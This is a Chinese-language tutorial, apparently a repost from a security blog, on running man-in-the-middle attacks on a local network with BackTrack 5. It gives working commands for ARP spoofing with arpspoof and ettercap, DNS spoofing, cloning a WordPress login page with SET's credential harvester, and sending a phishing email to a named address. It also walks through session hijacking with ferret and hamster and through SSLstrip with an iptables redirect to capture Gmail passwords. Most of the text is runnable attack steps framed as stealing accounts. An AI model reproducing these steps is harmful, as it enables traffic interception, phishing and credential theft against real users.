中間人攻擊之arp欺騙 科普ARP欺騙

中間人攻擊之arp欺騙

科普ARP欺騙

A <-> B

A中有個ARP Table，每次發包都會在此Table中查找，若找不到，發APR Request包詢問。
此時若hacker冒充B的MAC，因而A -> hacker。

(1)如何清空A中的ARP Table？否則它一查詢，直接發包給B。

1. 通過百度：
2. ARP Table採用老化機制，某一行一段時間不用就被刪除，提速。
3. hacker大量發ARP包產生大量ARP通訊量使通絡堵塞，A就找不到B，A必然會發ARP Request包問：B是誰，
4. 此時hacker的僞造包，也就改變了A中的ARP Table。

(2)如何保證在B前響應A的請求查詢？

1. 由於(1)中已經提到，局域網中充斥着大量hacker僞造B的ARP響應包，B競爭不過hacker，因此hacker會比B更快響應。

科普BT5下arpspoof 和 driftnet 和 wireshark

正常狀況的A和B：

1. A(192.168.0.1) <-> B(192.168.0.109)
2. A’s MAC: 00-0C-29-7A-33-66
3. B’s MAC: 34-08-04-0B-70-E8

邪惡的hacker：

1. 192.168.0.108
2. hacker’s MAC: 00:0c:29:0a:ab:97

被ARP欺騙後：

1. A -> hacker -> B
2. A <- hacker <- B

如此一來，hacker就充當了一箇中間轉發的路由，流量都任意看。

開啓BT5的路由轉發功能（畢竟它要模擬一個路由嘛）：

1. echo 1  >  /proc/sys/net/ipv4/ip_forword

arpspoof使用方法（注意是開兩個終端）：

1. #欺騙192.168.0.109，hacker就是192.168.0.1:
2. root@bt:~# arpspoof -i eth0 -t 192.168.0.109 192.168.0.1
4. #欺騙192.168.0.1，hacker就是192.168.0.109:
5. root@bt:~# arpspoof -i eth0 -t 192.168.0.1 192.168.0.109

如此一來，咱們就實現了，在192.168.0.1和192.168.0.109之間作箇中間人，窺探他們的通訊包！

使用driftnet，專業窺探圖片：

1. driftnet -i eth0

使用wireshark抓取數據包：

1. root@bt:~# wireshark

不開arpspoof以前，是抓不到192.168.0.109的包（由於它流量不走你這網卡啊！）

arp欺騙以後就能抓到了：

普及下常見的wireshark的命令：

過濾IP：

1. ip.addr==192.168.0.109 and
2. ip.src==192.168.0.109 and
3. ip.dst==192.168.0.109

過濾端口：

1. tcp.port == 80

過濾協議：

1. http or telnet

中間人攻擊以內網DNS欺騙

科普DNS欺騙：

用本身的僞造的IP冒名頂替正常的DNS服務器的IP，讓受攻擊者訪問到你的服務器。

以上這句話只是DNS被欺騙後的表現，而不是原理。

由於已經知道了在路由網關A與受攻擊者B之間，hacker經過ARP欺騙充當起了中間人，

因此hacker對這些流量能作到絕對控制，這裏有個專業術語叫：

1. DNS劫持！
3. DNS劫持是指在劫持的網絡範圍內攔截域名解析的請求，分析請求的域名，把審查範圍之外的請求放行，不然返回假的IP地址或者什麼都不作使請求失去響應，其效果就是對特定的網絡不能反應或訪問的是假網址。

攻擊步驟：

1. 採用ettercap，arp 欺騙

開啓BT5的路由轉發功能（畢竟它要模擬一個路由嘛）：

1. echo 1  >  /proc/sys/net/ipv4/ip_forword

Ettercap的操做：

1. root@bt:~#  ettercap -G    #啓動可視化
2. Sniff -> Unified Sniffing
3. Eth0 -> OK
4. Hosts -> Scan for hosts
5. Hosts -> Hosts List
6. Add to target1 -> 192.168.0.1     #網關
7. Add to target2 -> 192.168.0.111   #受攻擊者
8. Mitm  ->  Arp poisoning
9. Start -> Start sniffing

在受攻擊者中發現已經arp欺騙成功（欺騙192.168.0.111，192.168.0.108是網關192.168.0.1）：

2. 修改etter.dns 文件

1. root@bt:/usr/share# locate etter.dns
2. /usr/local/share/ettercap/etter.dns
3. /usr/local/share/videojak/etter.dns
4. root@bt:/usr/share# gedit  /usr/local/share/ettercap/etter.dns

這麼修改：

3. 開始dns+spoof

1. ettercap -> Plugins -> Mange the plugins
2. 雙擊 dns_spoof  出現：Activating dns_spoof plugin..
3. 等一段時間。。.（十分鐘以內吧。。）

DNS投毒成功，咱們能夠看到受攻擊ping www.xigema-team.org的時候，是BT5的IP地址：

4. SET社會工程學攻擊

目標：

1. http://www.xigema-team.org/wp-login.php

爲了防止版本差別，本人是在BT5r3下搞的，SET集合操做以下：

1. root@bt:~# cd /pentest/exploits/set/
2. root@bt:/pentest/exploits/set# ./set
4.  Select from the menu:
6.    1) Social-Engineering Attacks
7.    2) Fast-Track Penetration Testing
8.    3) Third Party Modules
9.    4) Update the Metasploit Framework
10.    5) Update the Social-Engineer Toolkit
11.    6) Update SET configuration
12.    7) Help, Credits, and About
14.   99) Exit the Social-Engineer Toolkit
16. set> 1
18.  Select from the menu:
20.    1) Spear-Phishing Attack Vectors
21.    2) Website Attack Vectors
22.    3) Infectious Media Generator
23.    4) Create a Payload and Listener
24.    5) Mass Mailer Attack
25.    6) Arduino-Based Attack Vector
26.    7) SMS Spoofing Attack Vector
27.    8) Wireless Access Point Attack Vector
28.    9) QRCode Generator Attack Vector
29.   10) Powershell Attack Vectors
30.   11) Third Party Modules
32.   99) Return back to the main menu.
34.  set> 2
36.   Select from the menu:
37.    1) Java Applet Attack Method
38.    2) Metasploit Browser Exploit Method
39.    3) Credential Harvester Attack Method
40.    4) Tabnabbing Attack Method
41.    5) Man Left in the Middle Attack Method
42.    6) Web Jacking Attack Method
43.    7) Multi-Attack Web Method
44.    8) Victim Web Profiler
45.    9) Create or import a CodeSigning Certificate
47.   99) Return to Main Menu
49. set:webattack>3
52.  The first method will allow SET to import a list of pre-defined web
53.  applications that it can utilize within the attack.
55.  The second method will completely clone a website of your choosing
56.  and allow you to utilize the attack vectors within the completely
57.  same web application you were attempting to clone.
59.  The third method allows you to import your own website, note that you
60.  should only have an index.html when using the import website
61.  functionality.
63.    1) Web Templates
64.    2) Site Cloner
65.    3) Custom Import
68. set:webattack>2
69. [-] Credential harvester will allow you to utilize the clone capabilities within SET
70. [-] to harvest credentials or parameters from a website as well as place them into a report
71. [-] This option is used for what IP the server will POST to.
72. [-] If you’re using an external IP, use your external IP for this
73. set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.0.108
74. [-] SET supports both HTTP and HTTPS
75. [-] Example: http://www.thisisafakesite.com
76. set:webattack> Enter the url to clone:http://www.xigema-team.org/wp-login.php
78. [*] Cloning the website: http://www.xigema-team.org/wp-login.php
79. [*] This could take a little bit…
81. The best way to use this attack is if username and password form
82. fields are available. Regardless, this captures all POSTs on a website.
83. [!] I have read the above message.
85.       Press <return> to continue
87. [*] Social-Engineer Toolkit Credential Harvester Attack
88. [*] Credential Harvester is running on port 80
89. [*] Information will be displayed to you as it arrives below:

吐槽下網站克隆：

1. 在網站克隆的時候，須要注意點就是，大網站如gmail.com，mail.qq.com直接clone會失敗。
2. 由於這些網站的js代碼會探測是不是正常環境並跳轉連接。.。
3. 若是手工下載網頁，對JS代碼作一些修改。。
4. 盜密碼果真須要麻煩一些：內網+改頁面代碼。。
5. 固然，BT5也集成了5個模板：gmail，facebook，twitter，google，java required（這是啥?）
6. 但是使用gmail的時候，居然由於cookie被禁用而error，其實不是cookie被禁用，而是裏面有一段保護的js代碼！

5.受攻擊者訪問http://www.xigema-team.org/wp-login.php

這裏咱們能夠發一封郵件給他，讓他去修改密碼：

1. Select from the menu:
3.    1) Spear-Phishing Attack Vectors
4.    2) Website Attack Vectors
5.    3) Infectious Media Generator
6.    4) Create a Payload and Listener
7.    5) Mass Mailer Attack
8.    6) Arduino-Based Attack Vector
9.    7) SMS Spoofing Attack Vector
10.    8) Wireless Access Point Attack Vector
11.    9) QRCode Generator Attack Vector
12.   10) Powershell Attack Vectors
13.   11) Third Party Modules
15.   99) Return back to the main menu.
17. set> 5
19.    Social Engineer Toolkit Mass E-Mailer
21.    There are two options on the mass e-mailer, the first would
22.    be to send an email to one individual person. The second option
23.    will allow you to import a list and send it to as many people as
24.    you want within that list.
26.    What do you want to do:
28.     1.  E-Mail Attack Single Email Address
29.     2.  E-Mail Attack Mass Mailer
31.     99. Return to main menu.
33. set:mailer>1
34. set:phishing> Send email to:xihuanjiechun@qq.com
36.   1. Use a gmail Account for your email attack.
37.   2. Use your own server or open relay
39. set:phishing>1
40. set:phishing> Your gmail email address:xihuanjianguo@gmail.com
41. Email password:
42. set:phishing> Flag this message/s as high priority? [yes|no]:y
43. set:phishing> Email subject:change your password from xigema-team.org
44. set:phishing> Send the message as html or plain? ‘h’ or ‘p’ [p]:h
45. set:phishing> Enter the body of the message, hit return for a new line. Control+c when finished:<a>www.xigema-term.org/wp-login.php</a> change your password!
46. Next line of the body: ^C
47. [*] SET has finished sending the emails

郵件收到：

當他進去後，輸入密碼，就get it！

6.帳號get it

中間人攻擊之會話劫持

科普會話劫持

在ARP欺騙的基礎上，流量都經過hacker走。

這流量之中就有cookie，而咱們可以輕易獲取這cookie。

事實上也是如此，若是咱們可以獲取維持網站和瀏覽器之間的會話狀態的cookie，那麼就能把cookie發給服務器，冒充會話鏈接。

這裏盜用一張圖，它形象的說明了會話劫持的整個狀態：

科普hamster的攻擊流程

此開源神器，/pentest/sniffers/hamster/中

實在找不到能夠用：

1. root@bt:~#  locate hamster

1. 先用ettercap進行ARP欺騙

這裏能夠參照上面的「中間人攻擊以內網DNS欺騙」的具體作法，須要我貼圖嗎？如須要，請留言通知我。。

2. 開啓wireshark，抓包，保存爲pcap

3. ferret 分析包

1. root@bt:/pentest/sniffers/hamster# ./ferret -r /root/Desktop/baidu.pcap

它就建立一個叫hamster.txt的文件，以便hamster進行真正的會話劫持~

1. root@bt:/pentest/sniffers/hamster# ls
2. favicon.ico  ferret  hamster  hamster.css  hamster.js  hamster.txt

4.配置網絡代理

1. firefox -> edit -> preferences -> Advanced -> Network -> Connection Setting
2. 配置爲1234端口監聽

以下圖所示：

5. hamster 發起會話劫持

在瀏覽器輸入127.0.0.1:1234 或者 hamster ：

出來hamster的操做界面，在右邊選擇好受攻擊者的IP，在左邊點擊pan.baidu.com，能夠看到，咱們劫持了它的百度網盤了：

此時，受攻擊者正在上百度網盤呢：

劫持成功！

會話劫持吐槽：

1. 遇到gmail又一次失敗，鏈接不到服務器！
2. 換成百度網盤則成功，這裏我猜測，gmail不全是靠cookie驗證~
4. 並且，即便咱們的受攻擊者，關閉了百度網盤，在BT5下，也是劫持成功的！

中間人攻擊之SSL會話劫持

科普SSL會話

SSL依舊是安全的。

可是在開始SSL以前呢？仍是有可趁之機的。。

大神Moxie（09年black hat 大會上，演示SSLstrip的那個大神）的空間： http://www.thoughtcrime.org/software/sslstrip/

在這上面，他簡單說了下，怎麼有可趁之機的：

1. How does this work?
3. First, arpspoof convinces a host that our MAC address is the router’s MAC address, and the target begins to send us all its network traffic. The kernel forwards everything along except for traffic destined to port 80, which it redirects to $listenPort (10000, for example).
5. At this point, sslstrip receives the traffic and does its magic.

其實就是在進行HTTPS以前，把它換成HTTP鏈接，此時就明文探測到了用戶名和密碼！

科普SSLstripg攻擊流程：

1.開啓路由轉發功能

1. root@bt:~# echo 「1″ > /proc/sys/net/ipv4/ip_forward

吐槽：

1. 這個太坑爹了，每次重啓都得來一次。覺得它是固定的，而後出錯了，各類沒頭緒呢，網上的資料太少了。
2. 你們每次重啓後，必定要記得開啓啊！！

2.設置iptables

1. root@bt:/pentest/web/sslstripiptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 10000

前面都是固定的，後面–to-ports 加個端口便可！

1. 如此一來，就把受攻擊機上的來自80端口的流量所有導入10000端口，此時，受攻擊機器，應該是上不了網的。
2. 可是能夠ping 通。

3.SSLstrip 監聽 10000端口

1. root@bt:/pentest/web/sslstrip# python sslstrip.py -p -l 10000 -w log.txt

這裏把記錄放入/pentest/web/sslstrip/log.txt中，在裏面查看用戶名和密碼便可。

1. -l 是監聽
2. -p 是隻記錄SSL PORT的內容

4. log.txt獲取gmail用戶名，密碼

吐槽：

 

1. root@bt:/pentest/web/sslstrip# python sslstrip.py  -p -l 10000 -w log.txt
3. sslstrip 0.9 by Moxie Marlinspike running…
4. Unhandled Error
5. Traceback (most recent call last):
6.   File 「/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-i686.egg/twisted/python/log.py」, line 84, in callWithLogger
7.     return callWithContext({「system」: lp}, func, *args, **kw)
8.   File 「/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-i686.egg/twisted/python/log.py」, line 69, in callWithContext
9.     return context.call({ILogContext: newCtx}, func, *ar

這個東西出錯了不要緊，照樣能獲取密碼！！！

搜了不少帖子，有解決方法： https://forums.kali.org/showthread.php?17926-Fake-access-point-ettercap-sslstrip&s=7a85d7aee62a24c92ae8faf8995f90cc

可是沒試過，怕麻煩。。

能夠發現，gmail：HTTPS -> HTTP

在log.txt中得到密碼：

 

摘自http://www.backlion.com/%E5%88%9D%E6%8E%A2mitm%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/